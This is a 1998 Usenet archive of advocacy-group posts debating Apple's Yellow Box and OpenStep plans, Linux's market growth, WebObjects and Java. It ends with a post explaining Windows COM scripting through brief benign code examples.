References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <75v93b$v55$1@nnrp1.dejanews.com> <ch3-2412982322100001@1cust237.tnt7.redmond.wa.da.uu.net> <3683696D.BD0633B3@nstar.net> <ch3-2612980907270001@1cust12.tnt2.redmond.wa.da.uu.net>
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c hand wrote:
> These customers actually PAY money for software.
Oh, Colin. Do you know how many Linux customers PAY for Accelerated-X?
Do you know how many Linux customers PAY for Red Hat Linux? Do you know
how many customers PAY for the XESS spreadsheet?
Whatever it is, they grew by 212% last year. How did WebObjects sales
fare, Colin?
> >> - helps diffuse Java hype
[...]
> Don't confuse the Java language with the Java API.
I'll make extra careful. All I require of you is that you say which you
mean. "Java hype" isn't very specific, is it?
MJP
From: jsavard@tenMAPSONeerf.edmonton.ab.ca (John Savard)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The real cause of PC victory
Date: Sat, 26 Dec 1998 21:21:43 GMT
Organization: Videotron Communications Ltd.
Message-ID: <36855320.1872692@news.prosurfr.com>
References: <364295A3.ABE8C927@earthlink.net> <adtF2K0yo.K7D@netcom.com> <atticus-1711982007150001@user-38lcbh2.dialup.mindspring.com> <3659BB98.F4529E3C@spamtoNull.com> <73ctj7$ik0$1@nnrp1.dejanews.com> <rbarris-ya023280002311981637350001@206.82.216.1> <365B10DD.43341843@spamtoNull.com> <19981124181652165544@ts1-13.aug.com> <365B5B6B.CF42B4BB@gamewood.net> <366C1257.470882A1@klassy.com> <3682B7E2.C36D8DB7@ix.netcom.com> <stevehix-2412981033470001@192.168.1.10>
stevehix@safemail.com (Steve Hix) wrote, in part:
>In article <3682B7E2.C36D8DB7@ix.netcom.com>, Z1159 <z1159@ix.netcom.com> wrote:
>> The Mac was overpriced as hell until sometime between the release of
>> System 7 and the Power Mac intro,so only trendies,art faegs,and
>> dyslexics bought them for home use.
>Riiiight. ("art faegs"??)
I suppose he meant Arts gratuates who weren't necessarily _actually_
homosexual, but even with the misspelling, it's an insulting
stereotype.
John Savard
http://www.freenet.edmonton.ab.ca/~jsavard/index.html
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 26 Dec 1998 21:35:06 GMT
Organization: Primenet (602)416-7000
Message-ID: <763kqa$qs$1@nnrp03.primenet.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com>
<ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net> <qhQg2.1009$J%3.603@news.rdc1.sdca.home.com> <ch3-2612980911200001@1cust12.tnt2.redmond.wa.da.uu.net>
<Xhch2.1346$J%3.960@news.rdc1.sdca.home.com>
Rex Riley <rr6013@yahoo.com> wrote:
: If we extend the time horizon for Linux out 5 years the performance
: *Gap* between MacOSX, Solaris, HP-UX, .et .al will close. If a GUI is
: added to Linux tomorrow <choose your favorite> the *Gap* between Windows
: and Mac is very much obvious. Not until Linux has a cross-platform API
: does there become _any_ migration of APPLICATIONS over to LInux. All
: GUI's being equal, applications define the *Gap* on the desktop. Then
: and only then would there concievably be competition for Apple. Since
: YB is the cross-platform API across which applications can port to
: Linux, it would seem that Apple stands to "profit" at the middleware
: layer. All API's being equal, tools define the *Gap* between OS's.
I agree by-and-large. I think Linux desktops will look pretty complete by
the end of '99. I also think your "migration of applications" should be
"migration or development of applications".
The interesting thing to remember is that many of the current Linux users
are developers, and they view the *Gap* as an opportunity to create
something new:
http://www.kde.org/applications.html
http://www.gnome.org/applist/list.phtml
John
From: "Sean" <sbiggs.REMOVE@.teleweb.net>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com><ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <75upqa$47f$1@nnrp03.primenet.com> <75vd7j$25r$1@nnrp1.dejanews.com> <760kof$dlk$1@nnrp03.primenet.com> <ch3-2612980901450001@1cust12.tnt2.redmond.wa.da.uu.net> <368545B6.63E9976C@nstar.net> <763h8d$46$1@nnrp03.primenet.com>
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Organization: USA Best Net
Message-ID: <914714437.201897@soam.wwnet.net>
Cache-Post-Path: soam.wwnet.net!unknown@max4-236.pontiac.usabestnet.net
NNTP-Posting-Date: Sat, 26 Dec 1998 17:28:35 EDT
Date: Sat, 26 Dec 1998 17:22:13 -0500
John Jensen wrote in message <763h8d$46$1@nnrp03.primenet.com>...
:Michael J. Peck <mjpeck@nstar.net> wrote:
:
:: But I've never heard of anyone making money by marching to their own
:: drum.
:
:I think these guys do:
:
: http://www.spindle.net/bab/
:
:John
Thanks for the laugh.
From: "Daniel Johnson" <daniel.n.johnson@worldnet.att.net>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 27 Dec 1998 18:12:47 GMT
Organization: AT&T WorldNet Services
Message-ID: <765tav$lgp@bgtnsc03.worldnet.att.net>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net> <qhQg2.1009$J%3.603@news.rdc1.sdca.home.com> <ch3-2612980911200001@1cust12.tnt2.redmond.wa.da.uu.net> <763ppv$9aq$1@nnrp1.dejanews.com> <suvidya-2712980926360001@210.newark-03-04rs.nj.dial-access.att.net> <36864CBF.A620E14F@mohawksoft.com>
mlw wrote in message <36864CBF.A620E14F@mohawksoft.com>...
>Arun Gupta wrote:
>> In article <763ppv$9aq$1@nnrp1.dejanews.com>, Michael.Peck@ericsson.com
wrote:
[snip- We are LinuxOS of Borg. Prepare to be Assimilated]
>I don't think you characterization of Linux people as merely
>"Microsoft-wannabees" may be accurate. I love the idea of the iMac. Here
>it is a simple computer for average people, that cuts in to Microsofts
>control of the market.
You do realize that not many people feel that *merely* cutting into
MS's marketshare is particularly desirable. I mean, if Bill Gates took over
Apple, and turned it against MS, and took over the world with a
multi-colored
logo instead of plain 'ole blue... who would notice the difference?
I realize the Linux folks have something different in mind. But
when you say "no MS!" you aren't really expressing any alternative
vision.
>By slicing and dicing the market, vendors will be
>forced to make more generic solution
Or sell into smaller markets. Is this a *good* thing? If so, why?
>(Read no winmodems,
Why is it so awful that you can, if you like, buy an extremely
cheap, crappy modem?
>more java,
Java is a fine language. I like Java. Wish I was programming in it
regularly. Honest. But from the users perspective, who the blazes
*cares* what language they program it?
Java hopes to acheive it's write-once-read-everyone promise with
cross platform class libraries. This trick works as well for any langauge,
and so far, it hasn't worked well at all. OSes are too different, and you
really do want to use their special features, because users like that.
Imagine if I wrote software that didn't support drag & drop because
X-Windows doesn't support it (adequately). Would you buy it?
Me neither.
I do not believe Java will even deliver on this promise. If C++ couldn't
do it, why should we expect Java to? The problem *is not* producing
executables for each different architecture- that's practically trivial.
>beter software design).
Generic != better software design. Generic software design *is* generic,
and people like that, but it performs worse, is less reliable, and it harder
for developers to maintain.
Compare Win95's Plug 'n' Play hardware support with Apple's
assorted equivalents.
Plug 'n' Play which is highly generic- you can plug in drivers for
new buses and so on- and supports a very wide variety of hardware.
Wouldn't it be really great if it *worked*? I'd sure like that. :)
Apple's *works* but it is far less generic- it works for NuBus and
PCI, which are well-designed for smart enumators, but it doesn't
even *try* to handle ISA or any other bus that *isn't* design to help
with card-enumaration.
The main virture of writing software genericly is that it winds up
begin generic, reusable, and all that. But there are plenty of
disadvantages also!
>Also, having the iMac (or products like it)
>leave the more sophisticated/demanding users open to Linux.
Why? The iMac is as easy to use as any Mac, and easier to set up
than most. Surely it would not be adequate preparation for the
rigors of Linux. Even compared to Windows (which at least has
DOS to inflict upon you.)
>I see the iMac as a good thing for Linux. No company/environment should
>dominate personal computing. When there is choice, there is opportunity.
Yes, but it doesn't necessarily have to be the choice *you* have in mind.
If MS's brainlock on the industry were broken, other OSes would be more
successful, quick likely. But if that happened, products like WinModems
couldn't be made, because you'd have to make drivers for all those
diverse OSes.
Now, I ->know<- you don't like WinModems, but some people apparently
do. Should they not have *that* choice?
How come your choice is more important than the WinModem's fan's choice?
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 26 Dec 1998 23:07:23 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <763q7b$fu4@news1.panix.com>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net> <756kn2$unk$1@nnrp1.dejanews.com> <3676E3E3.C0160448@ericsson.com> <slrn77dv97.mnj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <3677050B.69FE4314@nstar.net> <slrn77e2hk.mnj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <36793872.1759FF5@nstar.net> <slrn782nub.94k.SPAMBGONEmbkennelSPAMBGONE@lyapunov.ucsd.edu> <3682E6BB.6C552445@ericsson.com>
On Thu, 24 Dec 1998 19:13:31 -0600,
Michael Peck <michael.peck@ericsson.com> wrote:
>> You've already said you didn't like the NeXTSTEP UI; does this apply
>> to the MacOS UI too? You've said you didn't like too many
>> user-friendly features hiding the underlying UNIX on NeXTSTEP. It
>> seems that MacOS X will follow this path to an even greater extent, on
>> account of the very large Mac userbase. Apple knows where its money
>> comes from.
>>
>> This is why I suspect you wouldn't like Mac OS X.
>
>Okay. You asked what I wanted. You've assured me I won't get what I
>want, so. Was your point to turn off yet another person in this
>newsgroup,
No one here is foolish (or zealous) enough to think that YB can be all
users. Recommending a product to you that you'll probably dislike isn't
advocacy; it's stupidity. (How many NeXT folks have been totally turned
off to GX based on Lawson's "advocacy" of it?)
> or did you have some other point to make? Silly me, NeXT
>people *always* have a point to make.
As opposed to debating with no point in mind?
>> Personally, I liked the NeXTSTEP UI, and apparently so do many Linux
>> users, as WindowMaker and Afterstep are quite popular window managers,
>> despite providing only a thin veneer of the NeXT look.
>So they like the look. What does that have to do with the UI?
Very little, IMnotsoHO. One of the reasons why I think that you'll end
up hating the YB dev tools (on any platform) is that it feels like NeXT,
even though it might look like another platform.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 26 Dec 1998 23:07:24 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <763q7c$fu4@news1.panix.com>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net> <756kn2$unk$1@nnrp1.dejanews.com> <3676E3E3.C0160448@ericsson.com> <slrn77dv97.mnj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <3677050B.69FE4314@nstar.net> <slrn77e2hk.mnj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <36793872.1759FF5@nstar.net> <slrn782nub.94k.SPAMBGONEmbkennelSPAMBGONE@lyapunov.ucsd.edu> <3682E6BB.6C552445@ericsson.com> <1998122508065251159@ts5-36.aug.com>
On Fri, 25 Dec 1998 08:06:51 -0500,
nospamhattonr@aug.com <nospamhattonr@aug.com> wrote:
>Michael Peck <michael.peck@ericsson.com> wrote:
>> > Personally, I liked the NeXTSTEP UI, and apparently so do many Linux
>> > users, as WindowMaker and Afterstep are quite popular window managers,
>> > despite providing only a thin veneer of the NeXT look.
>> So they like the look. What does that have to do with the UI?
>Um, the look is a major part of the UI ??
No, the "feel" is.
that
is what the major stumbling block in this discussion has been.
>> - existing customer base in vertical markets
>> - 3,000 customers already using WebObjects
>I'm not sure I understand the significance of this. It compares to 9
>million potential Linux seats...how?
How many of those 9 million seats are really potential sales for a US$1500
Web Applications server?
Depending on what statistics you believe, there are about 1.5 million Linux
boxes that are being used as web servers for commercial (or intranet) sites.
Now, of that 1.5 million, how many of those seats are running in environments
where WO would be an asset? How many would be interested in serving dynamic
pages or linking databases to the web? Now add to that all the current WO
customers that would prefer to run WO on Linux on x86 rather than the current
NT or Sun platforms.
That is the potential market, not the millions that are being used as routers
or serving static pages or queuing lab reports on some campus somewhere. Nor
are the millions that are being used to run irc, netscape and emacs.
(Based on my experience, I think the market is large enough for Apple to do
feasibility study, perhaps call 800 or so of the current NT server sites and
ask them if they might prefer to run on Linux if OSX wasn't available on x86)
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 26 Dec 1998 23:07:26 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <763q7e$fu4@news1.panix.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <3681729D.6F3AFB05@nstar.net> <36817c66.0@stan.astra.co.uk> <75u8ln$75u$1@nnrp1.dejanews.com> <ch3-2412981553350001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E5D1.320B0905@ericsson.com>
On Thu, 24 Dec 1998 19:09:37 -0600,
Michael Peck <michael.peck@ericsson.com> wrote:
>> In the interest of continuing the discussion, let me pose these questions to
>> you Michael: Why Linux? You claimed before that you had no interest in working
>> with closed systems. If that is the case, why not throw your support behind the
>> OpenMach/BSD proposal?
>
>Because I use Linux, I know Linux, I like Linux, and I develop for
>Linux. Are those good reasons?
>
>Oh hell, why not some more? Linux is freely available, and has been for
>5 years. Linux grew 212% in retail sales alone last year. Linux has over
>9 million users, by estimates. Linux has a flourishing software market
>with thousands upon thousands of developers. Linux is stable and
>well-known and has a cohesive community to support it. Linux has
>visibility and brand-name and tremendous momentum.
>
>None of which can be said of either BSD/Mach or Mac OS X.
Oddly, this was the same FUD used against Linux back in 1992.
Do you really think that Linux users are going to avoid OSX because the have
already committed to Linux? Do you think they compute with blinders on?
Why don't you head over to any Linux UG and talk to a few of them. See how
many have 4+ OSs installed. Or how many have 3+ computers.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: 26 Dec 1998 23:08:31 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <763q9f$fua@news1.panix.com>
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net> <slrn77t0pt.is1.jedi@dementia.mishnet> <75mspn$47v$1@reader1.reader.news.ozemail.net> <ch3-2212980922380001@1cust184.tnt1.redmond.wa.da.uu.net> <368f00ab.4561618@news.demon.co.uk> <ch3-2612980852370001@1cust12.tnt2.redmond.wa.da.uu.net>
On Sat, 26 Dec 1998 08:52:37 -0800,
c hand <ch3@earthlink.net.rem.ove.this> wrote:
>>Apple produce $20 worth of software and sell a distro wholesale for
>>$50. They get constant innovation without havig to spend a dime. Is
>>that a good business case?
>No, it's terrible. Just another example of the "change to our
>way of doing things, because we rule" mindset.
Ahhh... The Jean Louis "Mac programmers should be like artists and not
care about making money" Gassee view of the universe.
Nice to see that parts of the Linux community are learning from Apple :)
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 26 Dec 1998 23:08:32 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <763q9g$fua@news1.panix.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <75v93b$v55$1@nnrp1.dejanews.com>
On Fri, 25 Dec 1998 05:50:35 GMT,
Michael.Peck@ericsson.com <Michael.Peck@ericsson.com> wrote:
>In article <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net>,
> ch3@earthlink.net.rem.ove.this (c hand) wrote:
>Oh, one more thing. It *was* you who said this, wasn't it?
>> Sun is saving their hardware business while Linux eats away at Solaris.
Apple and Sun are in much different markets. While Linux has been making
inroads into the enterprise server market where it could steal seats from
Solaris, it hasn't made much of a dent in the publishing and content
creation markets.
Apple might loose out in the k12 and higher ed markets, it would be mostly
in areas that it would have otherwise lost in other ways. (How many higher
ed seats are using MacOS for research? How many higher ed seats are moving
from Word on MacOS to Wordperfect on Linux? My guess is not many. All of
the labs at my old school are running PCs with custom software for A/D.
All the public PC labs are running office on NT.)
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 26 Dec 1998 23:08:33 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <763q9h$fua@news1.panix.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <3681729D.6F3AFB05@nstar.net> <36817c66.0@stan.astra.co.uk> <75u8ln$75u$1@nnrp1.dejanews.com> <ch3-2412981553350001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E5D1.320B0905@ericsson.com> <ch3-2612980916070001@1cust12.tnt2.redmond.wa.da.uu.net>
On Sat, 26 Dec 1998 09:16:07 -0800,
c hand <ch3@earthlink.net.rem.ove.this> wrote:
>What OpenMach is:
>
>An Open Source UNIX CoreOS
>An Open Source Driver/IO model
>proprietary API
>proprietar GUI
>
>Seems to me this is really more about what *you* want, than about
>what would be good or profitable for Apple.
Huh? You haven't provided anything to support the statement that OpenMach
would be "good or profitable for Apple"
Would Apple be giving it away or selling it?
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 26 Dec 1998 23:08:57 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <763qa9$fud@news1.panix.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <3682E3D0.A4829F04@ericsson.com> <ch3-2412981714590001@1cust237.tnt7.redmond.wa.da.uu.net> <75v99u$v6s$1@nnrp1.dejanews.com>
On Fri, 25 Dec 1998 05:54:06 GMT,
Michael.Peck@ericsson.com <Michael.Peck@ericsson.com> wrote:
>In article <ch3-2412981714590001@1cust237.tnt7.redmond.wa.da.uu.net>,
> ch3@earthlink.net.rem.ove.this (c hand) wrote:
>> And I think it's been well pointed out to you that the OpenStep spec
>> has undergone significant change/upgrade since it was made public
>> in 1994. And if you are not opposed to a binary distribution, I again
>> ask, why Linux? Why not *BSD?
>Quit changing the subject, will you? We were talking about open
>specifications. There's no reason the new OpenStep specification couldn't be
>open, as well.
Other than the fact that Apple hasn't announced that it would be, and their
actions in development for the past year and a half are pretty evident that
this isn't in their plans. (Or at the very least, not in their short term
plans)
When NeXT published the OpenStep specs, they took care that additional
development would be in "Kits" that would be separate from the basic API
(much like what Sun has done with Java.) This was to avoid making the API
a moving target. Apple is not doing this now.
>There is direct, recent precedent for it and it has absolutely
>nothing to do with what you call "religion".
If at some near point, Apple freezes the API and attempts to license the API,
to a 3rd party I would go along with what you are saying. Unfortunately,
Apple's actions don't jive with your theory.
<<clip>>
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 27 Dec 1998 01:44:05 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <7643d5$i9r@news1.panix.com>
References: <757ft0$5or@news1.panix.com> <FIiROLCWddLd-pn2-EhFO2NqU6KYu@localhost> <75coq4$hfr@news1.panix.com> <FIiROLCWddLd-pn2-DoqXPF9384ZO@localhost> <367d485a.0@stan.astra.co.uk> <1dkd37j.1myr8f52hk7u2N@roxboro0-004.dyn.interpath.net> <F4BpBJ.4Cx@T-FCN.Net> <1dkdx6s.1navf1opxwvyN@roxboro0-013.dyn.interpath.net> <367f5fb3.0@stan.astra.co.uk> <1dkfmin.1w895em3q9e5tN@roxboro0-030.dyn.interpath.net> <368036D2.68EA214@earthlink.net.rem.ove.this> <36803829.96A77B3A@klassy.com> <763q7a$fu4@news1.panix.com> <3685731F.D9C434AF@nstar.net>
On Sat, 26 Dec 1998 17:37:03 -0600,
Michael J. Peck <mjpeck@nstar.net> wrote:
>Sal Denaro wrote:
>> >Recall when Jobs "publicly commited" to the Newton?
>> Yes, while privately he reassigned Newton members to other projects
>> within Apple. That isn't the case now with YB.
>> YB, OSX and WebObjects are getting more private support in Apple (by
>> the ex-NeXT folks that are now running the show) then the newt ever
>> saw.
>There was a different point in Mr. Fizer's remarks, one which I think
>you make quite aptly: Mr. Jobs' comments are not often truthful, and can
>rarely be taken as evidence of truth. Put differently, Jobs is a
>pathological liar.
That is quite a big leap. It would be like calling you a pathological liar
because you have repeatedly stated that you would never debate me again, yet
you keep responding to my posts; even in follow-ups that are not related to
any of your posts.
Jobs stated that Apple had no plans to kill the newton; there is no evidence
that he was knowingly deceptive at the time. It is quite possible that he
was looking for a way to sell off the newton, or buy the pilot and combine
that product line with the newton, or that the plans to kill it weren't made
until after he made that statement. There is simply no evidence that he
was either truthful or deceptive since there is no way of knowing what he
was thinking.
My point was that action is a better indication of intent than words.
Frankly, I fail to see the point in arguing Mr. Jobs' ethics (and/or lack
thereof) since it has little if anything to do with Apple's future support
of YellowBox.
From: "Martin Ozolins" <Martin.Ozollins@cwusa.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Sat, 26 Dec 1998 18:48:25 -0800
Organization: CampusCWIX
Message-ID: <76472d$msm$1@news.campus.mci.net>
References: <367522b5.2689507@news2.asan.com> <913764365snz@vision25.demon.co.uk> <MPG.10e60701fb586232989747@news.dircon.co.uk> <slrn77o9p9.64l.jedi@dementia.mishnet> <MPG.10e71b905fecb937989761@news.dircon.co.uk> <slrn77qunn.c0a.jedi@dementia.mishnet> <36800849.0@news.deniz.com>
Now I know this will piss off a lot of MAC users but your description of how
COM/DCOM works sounds an awful lot like Wozniaks vision of Open Doc.
I had always had a suspicion that this is where Microsoft was heading,
although I will agree they ain't there yet. But every journey begins with
both a first step and a destination.
Todd Bandrowsky wrote in message <36800849.0@news.deniz.com>...
>
>> While it's nice to talk about the scripting capabilities of
>> Win9x or WinNT in the abstract, no one seems able to comment
>> on them in the concrete besides regurgitating marketing
>> literature.
>
>Ok. I will. I am an NT partisan but I have used Perl on Solaris enough to
>see why Unix heads would think it is cool. Actually, Perl on Solaris /
>Linux is cool. But, in any case:
>
>Scripting technologies in Windows tend to be best understood by dividing
>them into two parts.
>
>BAD_PART == COMMAND_WINDOW
>The first part is the DOS shell interpreter, which totally sucks and can be
>best ignored. That, unfortunately, is where NT draws the most laughs from
>the Unix crowd because the command line interpreter is the first place any
>"serious" (aka Unix) operating system user would go to first. And NT's
>totally sucks. Please, no defenses here. NT's command line does not hold a
>candle to BASH.
>
>Now, that's part one. Part ii is application scripting, and that's really
>the
>
>GOOD_PART == COM
>Ok, now the fun stuff is actually buried in most of your so called
>application scripting languages. What goes on here is something pretty
>simple. You take a rag of a language - (hmm, did I say Visual Basic), and
>you make it COM aware. Then the application can go and use any other app or
>service that exposes itself via COM. That pretty much means everything in
>Windows, except, sadly, for the core OS, although a job scheduler did
>finally make it into NT 5.0 / Win98, and, oddly, is distributed through IE
>4.0! (Makes sense to me...)
>
>COM is basically a fancy way of doing IPC but with method signatures and
>types. Instead of doing something like loading a library by name and get a
>pointer to a function, and call through that, you ask COM for a pointer to
a
>list of function pointers, and you make your calls through that. For
>example, under the pure (and evil), DLL model, you'd (or your Windows
>compiler would hide from you), something like
>
>HANDLE hlib = LoadLibrary("FOO.DLL");
>myfooptr = GetProcAddress(hlib, "myfoo");
>myfooptr("calling my foo function", 42);
>mybarptr = GetProcAddress(hlib, "mybar");
>mybarptr(42, "calling my bar function", 42, 69);
>
>With COM, you'd do something like this.
>
>_COM_SMARTPTR_TYPEDEF(IMyFooBarClass, __uuidof(IMyFooBarClass));
>
>IMyFooBarPtr bob;
>
>bob.CreateInstance("Acme.FoobarServer.1");
>bob->foo("calling foo method", 42);
>bob->bar(42, "calling bar method", 42, 69);
>
>Ok. So, in the DLL example, you might infer that that calling the library
>is completely not typesafe. In fact, under Windows you can pretty much
hose
>your app if you send off legions of too many or too few or wrong typed
>parameters to a DLL. The system DLLs (USER, GDI), etc, check for most of
>this, but there are a few known lapses. Also, under the DLL example, you
>can see that the location of the DLL is very tightly rooted to the file
>system. In fact, that LoadLibrary call pretty much assumes that the DLL is
>gonna be in \WINDOWS\SYSTEM, which has problems even the staunchest windows
>advocate must admit.
>
>With COM, the location of the thingy that is gonna give you your library is
>irrelevant. For some reason that defies human understanding, MS, and,
>through their weird leadership, is still putting stuff into Windows and
>Windows / System, even though they do not need to be there! They can be
>anywhere - even on a different machine (DCOM). But even if you don't
>believe in the hype you can at least see there is a means of abstracting
the
>"concept of a service" from its physical implementation within the file
>system. The app asks for an object, and it gets it.
>
>So, what does the above example have to do with scripting languages? It
>turns out that the example I gave above for COM was "early bound". That
is,
>the user of the foo library relied on a header being distributed with it
for
>type safety.
>
>It turns out that yes, theoretically you could do some crazy stuff by
>getting headers and class id's mixed up..., but some type safety is better
>than none at all. However, if that is all COM was, it would still be weak.
>
> Like, say you have an executable that needs to use a library whose methods
>are unknown to you at developmental time. This is pretty much the case
with
>scripting languages under Windows. Does someone at Microsoft go around all
>day coding every vendors application signatures into VBA? Me thinks not.
>
>Like all things Microsoft, this is rather complicated and they added two
>solutions. One is type libraries and the other is IDispatch.
>
>Type libraries would be for if my application scripting language could
>generate compiled code. They contain stuff about what classes look like
for
>different objects on the system. You get this stuff, for example, by using
